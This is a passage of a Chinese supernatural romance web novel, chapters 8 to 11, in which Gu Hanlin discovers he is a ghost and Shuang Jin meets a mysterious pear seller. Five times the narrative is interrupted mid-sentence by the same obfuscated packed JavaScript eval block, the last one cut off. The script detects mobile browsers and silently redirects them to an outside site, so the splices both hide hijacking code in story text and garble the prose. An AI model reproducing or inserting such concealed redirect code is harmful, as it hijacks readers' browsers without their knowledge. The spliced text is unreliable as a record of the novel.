他骑上很久没骑过的摩托冲到海边,看到一群人围在那里呼天抢地才意识到楚雪镜真的死了。 古含林很讨厌他,倒不是这个人不好,而是他太好了,长了张讨人喜欢的小白脸不说,性格硬气男人却完全不粗俗,反而很干净很浪漫,说出来的话让他学都学不来,双锦的眼光实在是很不错。 所以古含林理解双锦选择他,他不怪双锦,但不理解他为什么死了那么久双锦还是在活人和死鬼中选择他。 室内完全陷入黑暗后,走廊尽头的电梯在空无一人的情况下无声地打开了。 好像有什么东西从里面出来了,走廊内的感应灯忽然短路似的忽闪起来。 古含林看到双锦忽然向外走去,那张脸上毫无恐惧。 好像电影中的慢动作镜头,双锦的身影在他的视线中跨过门槛。 原来……他真的不属于自己。 原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612202|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人比自由和财富还要难以得到。 “放开我——” 他将人一把扯了回来。 他不想再和双锦讲道理,这个人根本不讲道理,他从小到大从始至终就是一块难啃的硬骨头,一个比自己都难搞的混蛋。 如果他不吃软的,那硬的必须吃两口。 古含林将房门锁上,把电视柜拖过去抵住房门,从双锦刚才的举动他可以猜到不能待在黑暗里,于是强行掐着双锦两只手腕往卧室拖。 来到卧室门口的时候,双锦忽然拼命挣扎起来不准古含林开他卧室的门。 以为他误会了什么,古含林顿了下,但没解释只是换了个房间,将人带进了卫生间。 白炽灯的光落在卫生间的白色瓷砖上,小小的空间明亮无比。 双锦被他绑着双手按在无水的浴缸里,可能是知道自己反抗不了,他不再挣扎,只倔强地侧过脸去。 古含林安抚似的放轻声音:“你老实点。” 见人不理他也不挣扎了才放心地盯着房门。 卫生间的门上有一块模糊的毛玻璃,虽然不能透过它看清外面但能隐约看到外面的情况。 只是…… “滴答滴答” 有不知道哪里传来的水声。 他以为双锦被自己气哭了,掐着人脸抬起来检查了一下。 这一看他发现双锦的脸还真湿漉漉的。 真哭了? “你哭什么?”他低声把人训了一句又被冷冷瞥了一眼,这才发现原来是浴缸放水的水龙头漏水了,一滴滴地滴在了双锦的头上弄了人满脸。 原来是这样。 将水龙头关上后,他起身去洗手池旁拿抽纸盒。 拿东西时还不忘从镜子中观察双锦有没有老实。 双锦可能不知道他正看着自己,闷着一张脸偷偷甩头,想把头发上的水珠甩下来。 这动作由这个倔种混蛋做有点可爱,紧张的气氛似乎都缓解了一些。 他将抽纸扔过去。 双锦冷冷看了眼自己腹前的抽纸又冷冷瞥他。 古含林这才想起来自己把双锦的手捆起来了。 他有点想笑,但又在这种气氛中笑不出来,于是还是闭嘴上前抽了几张纸按向双锦的头顶。 双锦歪头避了过去。 这个忽然的动作有点大,脑袋不小心碰到了墙壁上发出一声“咚”。 古含林有些诧异,这声咚竟然非常清脆,在黑夜中清晰入耳。 但紧接着,他意识到不对,因为双锦明明不动了,但耳边却又传来一声咚。 “咚……” “咚咚……咚咚。” 古含林悚然回头。 不是头撞在墙壁的声音,是有人敲门! “咚咚咚……” “咚咚咚咚!” 8.我没死 敲门声一出,整个世界都仿佛沉入了阴冷安静的深海,空气沉重压抑,充斥着死一样的寂静。 有什么东西真的来了。 这个认知几乎是瞬间出现在古含林心中。 真的是……楚雪镜吗? 如果不是他又会是谁呢?是什么呢? “咚咚咚咚!” 敲门声越发激烈,逐渐像是砸门一般,旧小区的老式铁门框框作响。 因为关门及时,所以真的阻挡住了什么东西? 因为客厅的灯闪坏了,走廊里黑漆漆的,透过卫生间的毛玻璃只能看到一片模糊的黑。 古含林后退几步,将挂在墙上的拖把取下来,将头卸下来后用拖把棍充当武器,他站在门前,将浴缸和人挡在身后。 黑暗将声音传导到耳边,铁门不堪重负的震荡与急速跳动的心脏逐渐共鸣。 或许是夜晚太安静了,那愈发剧烈的敲门声仿佛逐渐靠近,似乎近在耳边…… “是楼上。” 这时,双锦忽然出声。 “楼上的高中生每天都是这个时候放学,他的父亲总是早早睡觉不给他开门。” 古含林一愣,握着棍子的手微微有些松懈,却不敢完全相信双锦,他回头瞪了双锦一眼,警告他:“你不准说话。” 然而双锦并不听他的话,他被捆着手不方便起身,维持着双腿微曲的姿势仰躺在浴缸中,歪头冷眼看着古含林,“把我的手解开。” “怎么?你想去见那个死鬼?”古含林沉着脸骂了一声,“你真的不怕他杀人?” “我说了是楼上的高中生。” 古含林嗤笑一声,“你当我傻?他爹是死猪吗?这么大敲门声听不见?” 但仿佛验证了双锦的话,古含林说完话之后敲门声骤然停了,隐约有说话声传来。 “妈,我忘了拿钥匙,我爹个猪头又睡了,你什么时候回来?” “什么?十点?!你们都别回来了,我去流浪得了!” 接着一串充满力量的脚步声响起,参杂着隐约的骂声。 敲门声消失了,世界重新变成安静宁和的夜晚。 古含林背对着双锦在卫生间门前站了一会,见真的没有动静了之后又从镜子中观察双锦。 双锦静默地躺着,他挺难受的,头上和脸上都湿湿的,发丝上的水珠被他甩飞,有一些落在他的睫毛上,在刺眼的灯光下散射着绒绒的光线,很晃眼。 因为手无法使用,只能曲着腿躺着,从镜子中能看到脚踝处露出的一圈白皙皮肤,这时的他看起来蛮柔顺的,和小时候一样。 双锦躺了一会儿,发现眼前一黑,有一道阴影覆盖在自己身上,他撩起眼皮一看,发现是古含林。 古含林将他半拎半扶地搀起来,在他从浴缸中走出来后,低头给他解手上的布条。 布条下细白的手腕有些泛红,他垂眼凝了一会儿,然后将泛红的手腕还给讨厌可恶的人。 双锦转转手腕,微微歪头含笑:“怎么?不怕我逃走了?” “随便你,让楚雪镜把你杀了你们正好做一对儿。”说到最后一个词他咬了下牙。 “雪镜不会杀我的,他走后我见过他三次了。” 男人深吸一口气,“是,他只想杀我,把我杀了好和你再续前缘,你们人鬼情未了,把我感动死了我做鬼都会祝福你们的。” 妈的,我絮絮叨叨没完没了,这是干什么? 像个怨夫。 “我不会让你死的。”双锦忽然说。 古含林肉眼可见的一顿,一双线条冷硬的唇张了又张,他忽然一笑,笑着骂双锦:“你说了算吗?鬼会听你的?” 双锦点头,“如果他是楚雪镜就一定会的。” “如果他不是呢?” “那我也要死了,”双锦仰起头看他,“你怪我吗?” 古含林低着头和他对视,他长得不算多好看,但五官浓重,眉眼深邃,因为骨骼感强所以面容颇有一些野性的俊美,不过犟种有柔软的时候,野兽也一样会有驯顺的时刻。 他低声说:“我不怪你,我……” 我喜欢你,双锦。 这句话的意思他表达过很多次,但从未说出口。 双锦也不知道明不明白,他垂下睫毛笑了笑,“那就好,洗手台底下的柜子中有手电筒,强度很高。” 古含林走上前去打开柜子,果然看到一个大功率手电筒,他将手电筒拿出来,对准卫生间门上的毛玻璃打开,强光瞬间照透卫生间和卧室之间走廊的黑暗,隐隐约约能看到卧室门前花瓶的形状。 “不能一直躲在这里,我的手机落在客厅了,你站在卫生间门口帮我打着手电,我去拿。”双锦走到门对身后的人说。 “不,”古含林握住他的手腕将他拉回来,他将手电塞到双锦手中,“我去。” 但走到门前时,却有人反手握住他的小臂。 古含林顿了下,低下头看向抓着自己的手,他的目光移到双锦的脸上,看起来很平静,甚至脸上还笑了一下,“算你有良心,有光他就不会靠近对吗?” 双锦有些犹豫地点头。 男人笑了下,“果然是晚上死的鬼……好好给我打着手电。” 房门打开,两个人一起走了出去。 客厅里静悄悄的,双锦的手机躺在沙发旁。 古含林背着光向它走去,他走了几步向身后看去。 双锦提着那个大功率的手电站在卫生间门口,光从卫生间涌出来落了他满身,衬得他面容白得像春雪,而他手中的手电光又在客厅照出一条光明的路。 古含林想,幸亏是双锦,如果是别人的话这个时候关上手电,他是不是就死了? 这个不知道怎么冒出来的念头出现的一瞬间他的心忽然一冷。 虽然情感上让他相信双锦不会害他,但出于生物本能的,他开始胡思乱想。 你凭什么相信双锦?双锦喜欢你还是喜欢楚雪镜你自己心里清楚。 如果客厅没有东西还好,如果有……那你死了岂不是正好圆了他想见楚雪镜的心?有你管着他反而让他不得自由。 不对,双锦对我是有感情的,即便他不喜欢我,我们也认知这么多年,我在他的心里至少是和钟敏卉一样的,他不会想让我死! 深吸一口气,古含林强迫自己冷静下来,几大步走到沙发旁捡起手机。 而就在此时,手电筒的灯光忽然晃动了一下。 古含林倏地看向双锦。 青年一手拎着手电,一手向他招手,“快回来。” 身体的微微晃动让手电微微震颤。 闷在喉咙间的一口气吐出,古含林笑了笑,“妈的,少吓唬我。” 但就在起身的瞬间,他忽然听到一个声音呼唤他。 “古含林!” 是一个中性少年音色,虽然语气急切但声音压得很低,仿佛生怕被其他人听到似的。 古含林全身血液猛地冷了下去。 他认出了这个声音,这个声音的主人是个长得雌雄莫辨的成年男人,他没经历过变声期,声音一直是少年音。 钟敏卉! 古含林倏地看向房门。 棕红色的房门在黑暗中深黑一片,它静静伫立着,将细弱的声音传递到古含林的耳边。 “不要相信双锦!” “别信双锦!古含林!快出来!” 外面好像要下雨了,窗外传来闷雷的轰隆声,这轰隆声钻入耳道,阵阵敲击在心脏上。 古含林感觉到胸腔无比沉重,心脏也紧得发痛,“你来做什么?你不是死了吗?你也想杀我?还是你变成了伥鬼要和楚雪镜一起害我们?” “我们?别傻了古含林!”那个声音无比急切,听着便能想象到门外的人正急得打转。 他说:“别相信双锦!” 古含林嗤笑,“不相信双锦难道相信你吗?你们这些死鬼没有一个好东西,楚雪镜这种大好人尚且可能害我,你这个死娘炮被我揍了那么多次你会不恨我?” 门外的人闻言忽而低笑起来,“我当然恨你……” “谁让你和雪镜一样,你们都比我好,你们有钱,有很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621308|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多朋友,还有健康的身体,我什么都没有,别人都欺负我,你们不让我进男厕所,可我又不是女孩子……只有双锦不欺负我,他不嘲笑我偷偷穿女装,还夸我很好看,他像我姐姐一样……” 如果刚才古含林还怀疑有什么东西冒充钟敏卉,那现在他几乎可以确认这是钟敏卉,“既然如此,为什么让我不要相信双锦?” 门外的人忽然沉默了一瞬。 就在这时,古含林的身后传来双锦诧异的声音,“古含林,你在做什么?为什么不回来?” 古含林向身后看去,双锦还站在卫生间前,他的脸被灯光衬得雪白,眼中漆黑一片,“古含林,过来。” “别过去!”门外人说。 “古含林,你这个人真是健忘啊,你何止欺负过我啊,你给双锦造谣,害楚雪镜摔断手,你说忘就忘了吗?即便你忘了,那双锦呢?这些双锦都知道,我想你明白他根本不喜欢你对不对?” “你给我闭嘴!” “古含林?你在做什么?” “古含林,你到底在做什么?” 两句相似的话,两个截然不同的含义。 “你怎么这么自欺欺人啊,你就是个粗俗的混蛋,你自己最清楚,所以你根本不敢和双锦告白,因为你知道自从你欺负他后他就讨厌你了,他不喜欢接你的电话,也不愿意让你来他的家中,哪怕你死了他也不会心疼一下。” “你对他来说不过就是恶心的骚扰者,从始至终他的心里就没喜欢过你,只是你一直缠着他,他想躲都躲不掉,你做狗都是条疯狗。” “闭嘴你他妈的!”古含林站起身来,一脚踹上房门。 “你有本事来打我啊,像以前一样,不过你打了我双锦就会心疼我,比起我他更讨厌你,所以我是他的朋友但你不是,你不会在心里以为你和我在他心中是一样的吧?” “想一想你也挺可怜的,你像条狗一样舔他,但是什么都得不到。” “你没文化,粗俗暴力,就是个暴发户,双锦拒绝了你,你就让别人欺负他,你打不过楚雪镜就把楚雪镜推下楼,你比鬼都坏,比我更讨人厌,只不过别人害怕你所以不敢说而已,你猜双锦是不是这个想法?” “不可能,我道歉了,我已经改了!”古含林早已忘记手机的事,他双眼通红地砸门,胸膛剧烈起伏,“他和你不一样!” “古含林你怎么了?你在和谁说话?”身后的声音模模糊糊,像从水中传来,让人听不分明,只有门外的声音格外清晰。 门外的人嘻嘻笑,“他当然和我不一样,我和你才一样啊。” “谁他妈的和你一样!” “当然一样,含林……我们都已经死了,你忘了吗?” 仿佛一道闪电击入脑髓,古含林骤然停下了所有的动作,“你他妈的……你放什么狗屁……” “我从来不说谎的,你好好想想,你怎么知道我死了?谁告诉你的?” 呼吸在这一刻停滞了,古含林发现自己确实想不起来,他只知道钟敏卉死了。 对啊,他怎么知道钟敏卉死了。 他出事后立刻就来双锦这里了。 一口吐不出的气像毒药卡在喉咙。 “是我啊古含林……是我告诉你的,你死的时候我就在旁边看着呢。” “其实你也知道自己死了,你就是不甘心,你太想回来了,凭什么楚雪镜死了双锦一直想着他,你受那么多伤,这么血淋淋的死了双锦都不心疼一下?你回来是想做什么?你自己很清楚,你想把他也带走。” “不是不是!我……我……”他低头看着自己的身体,裸丨露出来的皮肤上是大片大片的伤痕,衣物上遍布灰尘,“我躲过去了……” “我没死……我没死……我没死我没死我没死我没死我没死我没死!!!” “古含林!” 双锦握住他肩膀时已经晚了,尽管发现不对后他用了最快的速度来到他的身边,但他的力气远远比不上古含林。 男人猛地低头掀开了挡在门前的电视柜…… “古含林——回来——” 9.梨子 房门打开又关上,因为巨力在墙上震出巨响! 双锦在古含林神智失常似的冲出门之后紧接着打开了房,可是门外一片寂静,走廊里空无一人,他仿佛人间蒸发了一样。 双锦快速回到房间里捡起手机,但就在他要报警时,忽然接到了一个电话。 “您好,是古含林的家属吗?” 双锦猛然一顿,心中涌上一种奇怪的预感,“我是他的朋友,怎么了?” “我这里是市中心医院,他车祸抢救失败,于两个小时前离世了,刚才我们刚确认好身份并取得他的手机,因为你在他联系人列表中第一个所以这边先打电话给你,请问你是否认识他家属……” “……先生?先生?你还在听吗……” 手机掉落在地上,双锦怔忪地环顾四周,茶几还倒在地上,被掀翻的电视柜也躺在脚边,他的手腕上还残留着红痕,但……那件本该丢在沙发上的夹克却不见了,好像从未有过一样。 * 古含林死了。 他从出车祸开始就一直在医院哪里也没去,很多人都看到了。 双锦在医院的太平间见到了他。 他穿着一身干净的病号服,安静地躺着,身上裸丨露出来的皮肤上有数不清的伤痕。 见他神情怔怔的,心软的女孩忍不住心中酸涩,“我听说车主没有拉手刹,车子滑坡了……节哀。” 双锦没说话,他一直看着古含林,看着他紧闭双眼的面容。 他自认对这个人实在是没什么感情,中学时他们意外相识,古含林在他的学校复读因为经常见面倒是勉强可以称为朋友,后来他发现古含林是个混蛋,看都不想看他一眼,再后来楚雪镜死了,他忽然疯病痊愈了似的向双锦道歉,求双锦原谅他,双锦又恢复对他无感的心态。 现在…… 古含林……为什么要去找我呢? 你忘记自己死了吗?是想害我吗?那为什么不动手? 古含林,你的灵魂离开了吗? 尸体静默着不会回应他。 天空终于落下雨来,淋淋沥沥的小雨从阴沉的云翳中落下,像楚雪镜离开的那天。 或许和楚雪镜一样,他死后灵魂出于某些原因回来看了看他。 双锦轻轻吐出一口气,告别似的低语,“再见了……” 从停尸房出来后,双锦才发现自己竟然因为恍惚而忘了带手机,他借护士的手机给钟敏卉打去了电话。 然而钟敏卉的电话一直在关机状态,无人接听。 虽然已经是深夜,但双锦还是叫了辆车去往了郊外的乡村,车子从城市的马路来到乡村小道,一路将他送到一户二层自建小楼前。 门前种的粉色芍药枝繁叶茂含苞待放,散发着馥郁的芬芳,双锦从车上下来,看了眼门牌号后敲了敲门。 很快有脚步声传来,接着房门被打开。 “啊,是小双啊,你找小卉吗?他……”开门的是个面目慈祥的妇女,年纪看着大约有五十多岁,是钟敏卉雇佣的远方亲戚,在他家做阿姨。 阿姨看着他,眼角红红的带着水光,眼尾的睫毛濡湿,“上个周他的病恶化了,在本地医院治疗没结果就去外地治病了,他不让我告诉你,今天下午他姐夫打来电话说他……” 最后的词语隐含在哭腔中。 钟敏卉有比较严重的心脏病,双锦是知道的,他仰起头闭了闭眼。 钟敏卉真的死了,古含林说的是真的。 他将手中的礼物送到阿姨手中,便告别了。 女人接过东西看了眼,掉下眼泪来,“都是小卉喜欢吃的,可惜……” 从钟敏卉家出来,双锦熟练地沿着村里的小路走到村头,这里是村里赶集的地方,还有一个公交车站,可以在这里等车。 双锦看了眼时间,晚上九点多,十点之前或许还有最后一辆车。 在站台的长凳上坐下,晚风阵阵袭来,很清凉。 村里的夏夜有不少人出门乘凉,风吹动路边的梧桐树,空气中带着丝丝清甜,不远处传来孩子的嬉笑声,一切都看起来很轻松。 他静静坐着,自己也不知道在想什么,身体有些疲惫,心里空濛濛的。 古含林死了,钟敏卉也死了,他们真的是死于意外吗? 如果不是,那又是为什么…… 不对,不止他们,还有楚雪镜。 “嗨,买梨子吗?”忽然有人和他打招呼。 双锦怔了一下,接着看到一小筐皮肉雪白的梨子递到他的身前,夜晚的路灯下这些梨子个个圆胖饱满像白玉,看起来软嫩清甜。 对方对他笑,声音清朗朗的,语调像梨子一样甜,听声音是个少年,“今天刚摘下来的呢,送你一些怎么样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621309|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你看起来很喜欢。” 双锦确实喜欢梨,他对一切都很平淡,但比较喜欢梨,因为楚雪镜的奶奶家种梨,他经常给双锦吃。 双锦起初不爱吃,但每次咬下去时楚雪镜就会向他笑,他五官精致,形貌昳丽,皮肤像梨子一样白,笑起来时很开朗甜蜜。 双锦逐渐就爱上了吃梨,每次心情不好时吃一颗就好像能缓解很多。 他接受了少年的赠与,但只要了一颗。 少年笑着将梨子递给他,他的手很白,在路灯下几乎与梨子无差。 “谢谢。”双锦接过来,向他道谢。 “不客气,尝尝看。” 双锦低下头将梨子送到口边,但没急着吃,而是轻轻嗅闻。 没有异常的气味,只有清新的果香,沁人心脾。 少年在他身前不远处拎着篮子转圈,他个子高挑,长手长脚,影子在灯下看起来修长灵动,像在跳舞。 看起来心情很好,也可能是个天生外向的人。 双锦将梨放下,目光凝在少年的脸上,“你多大了?是帮家里人卖吗?” 少年看向他,“20岁了,我的梨子不卖,看谁好看就送给谁。” 双锦极淡地笑了下,没接他后面的那句,“你看起来更小一些。” “哈哈哈!”少年爽朗地笑,笑容开怀,“好心态决定男人的一生嘛。” 双锦闻言也是一笑,“你很幽默。” “我喜欢这个夸奖,有趣的男人更讨人喜欢。” “不过……”少年迈着长腿,几步走到他的身前,伸出空着的左手在头顶比划了一下,动作潇洒,“我比你高一些。” “是的。”双锦坦然承认,“以后也可能再长几公分。” “是吗?”少年笑着在他身边坐下,他很爱动,身上却没有汗味,只有淡淡的洗衣液香味,是栀子花的味道,“可以长到几岁?” 这个问题让双锦沉思了一会儿,他也不是很确定,但他知道少年其实并不在意这个答案,“每个人都不一样,或许是23岁。” “那真是可惜了……”少年笑吟吟的,眉眼弯弯,“我以为是25岁。” “如果长到25岁,那我应该可以超过一米九,比你高九厘米。”他将脸凑过来,幽沉深邃的眼瞳像夜晚的苍穹,两人近到呼吸交缠。 “你会更喜欢我吗?” 10.回头 双锦转头避开了他的视线,回答得很模糊,“你本身就很讨人喜欢,不需要改变什么。” 见双锦侧过了头,少年神色不变地看了他一会儿,空气安静了大约半分钟他忽然站起身走到双锦面前弯下腰。 这个姿势让他的视线自上而下,瞳孔沉在密匝匝的睫毛阴影中,可以全然地看清双锦的神态,“你在想什么呢,为什么逃避我的问题?” 时间将近九点半,乘凉的村民零零散去,最后一辆末班车却仍然没有驶来的迹象,双锦摇了下头,答非所问,“我在想起小时候看过的鬼怪电影。” “哦?恐怖吗?”少年弯起眼睛,很捧场地给出笑容,看起来兴趣盎然,“说给我听听,我就爱听鬼故事。” “不恐怖,就是很老套的人鬼情未了……” “那真好啊,恰好是我喜欢的题材。” 双锦默然了一会儿,少年一瞬不瞬地望着他,目光含笑却不柔和,反而若有实质,“快说吧。” “其实你或许看过,主角叫珍珠。” 珍珠? “啊,”少年点头,露出恍然的表情,“我知道,珍珠和晚树……” 珍珠有个很爱自己的恋人晚树,晚树在一次竞赛后因为着急回来见珍珠而发生了车祸,他的灵魂去往了珍珠的学校向正在上课的珍珠告了别,并嘱咐他不要来见自己。 “可珍珠还是找去了晚树的家,晚树家中空无一人,他以为晚树抛弃了自己,日日怨怼……” 双锦撩起眼皮,和自顾自讲故事的人对视,“后来有一天晚上,晚树忽然回来了,他站在珍珠的窗外问他明天要不要一起去公园,珍珠见了他喜出望外,嗔怪地骂了他一顿后就答应了……” 第二天珍珠按照约定去了那个公园,如愿以偿见到了晚树。 好像是为了见他特地打扮了,晚树穿得比以往更鲜艳,笑着向珍珠招手。 他们一起玩了游乐设备,一起吃了午餐,在晚霞来临时接吻,珍珠向他保证以后再也不会爽约,夜晚他们一起相拥而眠。 “不知睡了多久,珍珠忽然被憋醒,他摸了摸沉重的胸口,发现是恋人枕在他的胸前,于是他尝试推开晚树,却发现他的身体非常僵硬,空气也非常稀薄……他躺在棺材里,身边是晚树的尸体。” 然而这个故事却没有这样结束,后来大声呼救的珍珠被救了出来,从此以后他白天生活在正常的世界,夜晚却梦到自己和逐渐腐烂的晚树同棺共椁,分不清现实与梦境。 他声音轻和,嗓音微哑,说起故事来个人情感很淡,但即便如此,讲到这里的时候身前笑眯眯的青年也忽然脸色一沉,他变脸的速度很快,听到不爱听的话立刻就变了脸色。 “我不喜欢这个电影,一定是三流编剧写的垃圾剧本。” 见双锦没说话,他便又忽而一笑,“我喜欢俄耳浦斯和欧律狄刻,他们互相欣赏,天造地设,我认为他们就一定可以修成正果,只要俄耳浦斯抵抗住怀疑和恐惧,当然,偶尔怀疑也可以,我不是那种小气的人……” 然而双锦却忽然问他:“钟敏卉是病死的吗?” 这个问题像关上留声机的手,一切戛然而止,几秒钟后少年缓缓咧开嘴角,目光在双锦脸上游移,“我不认识。” 双锦看着他:“古含林又是怎么死的?” 少年神色无辜,“他们都是谁?我不认识。” 双锦点头:“死人。” “节哀,为什么问我这个,你怀念他们吗?” “是的,就像怀念我的恋人一样。” …… “是吗……你看起来不怎么伤心,我以为你对他们没有感情,那你会像怀念恋人一样希望再见到他们吗?” 双锦摇头,“不会了。” “为什么?”少年似乎很不解,“你好像没有那么坚定了,是什么让你改变?” “我想,”双锦说,“我有些不太能确定珍珠的执着是否正确了。” 少年默然地看着他。 “谢谢你陪我到现在,车来了。”双锦站起身,将手中捧得发热的梨放回了少年的筐中。 最后一辆末班车的灯光远远地照射过来,双锦背着光,“抱歉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633843|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “双锦——” 少年几步上前,从他的身后抱住他。 “钟敏卉临死前一直打电话求你去看他,你为什么不去?” 这句话问出来时,气氛瞬间变了,双锦缓缓回过头去,他有一双充满柔润韵致的单眼皮,眼底漠然一片,所有的情绪都湮没在瞳孔的幽深中。 少年笑笑,用环着他肩膀的那只手抚开怀中人额前微微凌乱的碎发,唇边漾起弧度,“不是你让古含林去客厅的吗?你也怀疑回来的不是楚雪镜,你想看看到底是什么东西是不是?” 双锦的表情没有任何变化,“我没让他去,而且他早就死了。” 少年笑着点头,“他是你的狗嘛,死了心疼你,只要你装一下温柔……” 像平静的水面骤起波澜,双锦倏地推开他,毫不犹豫地甩过去一个耳光,“你是谁?你好像不是楚雪镜,你要做什么?” 被甩开的一瞬间,少年再次抓住他,他的手指修长,骨节突出,有种不符合年龄的力量,铁箍似的强硬,“我什么都不要。” 他将人拉回怀里,“我要你。” “我爱你啊双锦。” 也不知哪里来的力量,双锦甩开了他。 “双锦……” “你如果要走就别回头了,我不会原谅你的——” 双锦没有回头,他向末班车驶来的方向走去,伸出手臂做出一个招车的姿势。 车子很快从路尽头驶来,双锦却意外发现这不是公交车,是一辆黑色私家车。 私家车擦着他的身侧疾驰而过,几乎是瞬间,双锦听到一声让人巨响,是车辆撞击到什么东西的声音,其中混杂着让人牙酸的碎裂声和粘湿的液体声。 有什么东西飞溅到他的裤角,渗透到小腿上的皮肤,湿热粘腻。 “天呐,出事了!” “车怎么跑了?谁家的孩子?” “那不是卖梨的傻子吗?” 车祸声瞬间吸引了街上所有村民的注意,未散的人群很快集聚过来,他们从双锦身侧擦过,连带着双锦的视线也向身后看去…… 11.男孩 人群围绕着躺在路中的人七嘴八舌,刚才还活蹦乱跳的人一动不动地躺在路中间。 双锦怔忪了数秒钟才恍惚似的回过神,他疾步上前,想去看看少年的情况,但就在他踏出了一步后身前的景象忽然变了。 村民的身影忽然开始扭曲模糊,视野中的一切都影影绰绰像浮动的色块,仿佛耳道中进了水,耳朵里的声音闷闷的。 “喂!” 方才还躺在地上的人忽然消失了,村民也都不见了踪影。 哪里有什么受伤的少年和围观的村民,只有他自己一个人现在路边。 遭了,被骗了,双锦立刻后退,他听到有人唤他,但还没等看到是谁意识就陷入了黑暗。 * 像沉入了大海,周遭一切都极为安静,视野中没有光线,好像睡了很久,身体软绵绵的没有力气。 “你醒了吗……” 不知是谁在说话,声音时而清晰时而模糊,双锦奋力想要睁开眼睛看一看,但只看到一点光线与色彩的影子就又失去了意识。 再次产生意识时,双锦迷迷糊糊地看到一个人形的影子,好像距离他很近,以至于他的视野中都是黑色的,似乎正贴在他脸的上方一动不动地俯视着他,在双锦挣扎着要醒来时影子才慢慢动了。 它逐渐离开,这个动作像站直了身体,在双锦的身边凝成一个人形。 “你醒啦。” 是个很清润的少年音,不急不徐。 缓缓睁开眼睛时接触到光线很柔和,甚至有些黯,但并不会让人觉得压抑不舒服,对于睡了很久的人而言非常友好。 “是你……” 视线在少年白皙清隽的脸上停留了一会儿,双锦想说话却发现嗓子干涩得很。 “你等等。”少年似乎察觉到了,他转过身低头打开了床边的蓝白色铁柜,从中取出了一个一次性纸杯,“我给你倒点水。” 双锦看着他走出房间,这才发现自己躺在病房里,房间里很整洁,空气中没有消毒水味,只有夏季淡淡的花草味,看起来是个不太忙碌的小医院。 想到什么,他抬起手腕。 手腕上缠着一条医用腕带,上面写着“溆芬私立医院内分泌科”。 溆芬是钟敏卉村子的街道,看来是周边的医院。 几分钟的功夫,少年端着水回来了,但出门时的纸杯变成了保温杯,他将水放到床头柜上,又重新拿出个纸杯倒出一些来。 “我进了护士的保温杯,不过水有点热啊,还是等一会儿再喝吧。” 见双锦望着他,少年弯了弯嘴角,隐约露出两个酒窝,“医生马上就过来了,你还有哪里不舒服吗?” 双锦侧过头去看着他,直截了当,“你想做什么?” 像是对双锦异样的表情感到诧异,少年微微愣了下,“我没做什么啊,你昏倒了我叫了车把你送来医院的……” 双锦看了他一会儿,发现他的表情神态看起来有一种浑然天成的纯稚,与昨晚大为不同。 “我记得你被车撞了。” “没有啊,”少年惊诧摇头,随即又恍然,“你可能是看到我叫的车了。” “昨天晚上我和你说话,我们说得好好的,你忽然就自言自语还给我讲鬼故事,把我吓死了。” 双锦没有表态,只是静静看着他。 “我让你别说了,我说我不喜欢听鬼故事,你忽然就要走,我拉着你说我听还不行吗,你就打我。”说到这里他摸了摸脸,看起来颇为伤心失落的样子,“要不是看在我们都是好看的人的份上我就不管你了。” “那我为什么在医院?” “低血糖。”一位穿着白大褂的医生适时走了进来,许是听到了他们的对话,替少年回答了。 他手里拿着病例单子,走到床边询问了双锦的情况,问他有没有心慌手抖的感觉。 双锦看了眼医生胸前的工牌,确认了是医生后他抬手握了握手指,才答复:“没有。” 医生点头,“那就好,幸好不严重,不然就要住院了,已经给你打了吊针,回去记得好好吃饭,你有些偏瘦了,需要注意营养搭配。” 双锦一一答应。 “医院暂时没什么病人,你可以先在这里休息,过一会儿会有护士来登记你的个人信息,”将询问的信息在档案上记录之后,医生看他一眼,“还有,别光答应得痛快,记得一日三餐正常吃饭,就比如今天的早餐。” “啊对,那我去买一点,正好我也饿了。”站在床边的少年忽然说话。 他从上衣口袋里掏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 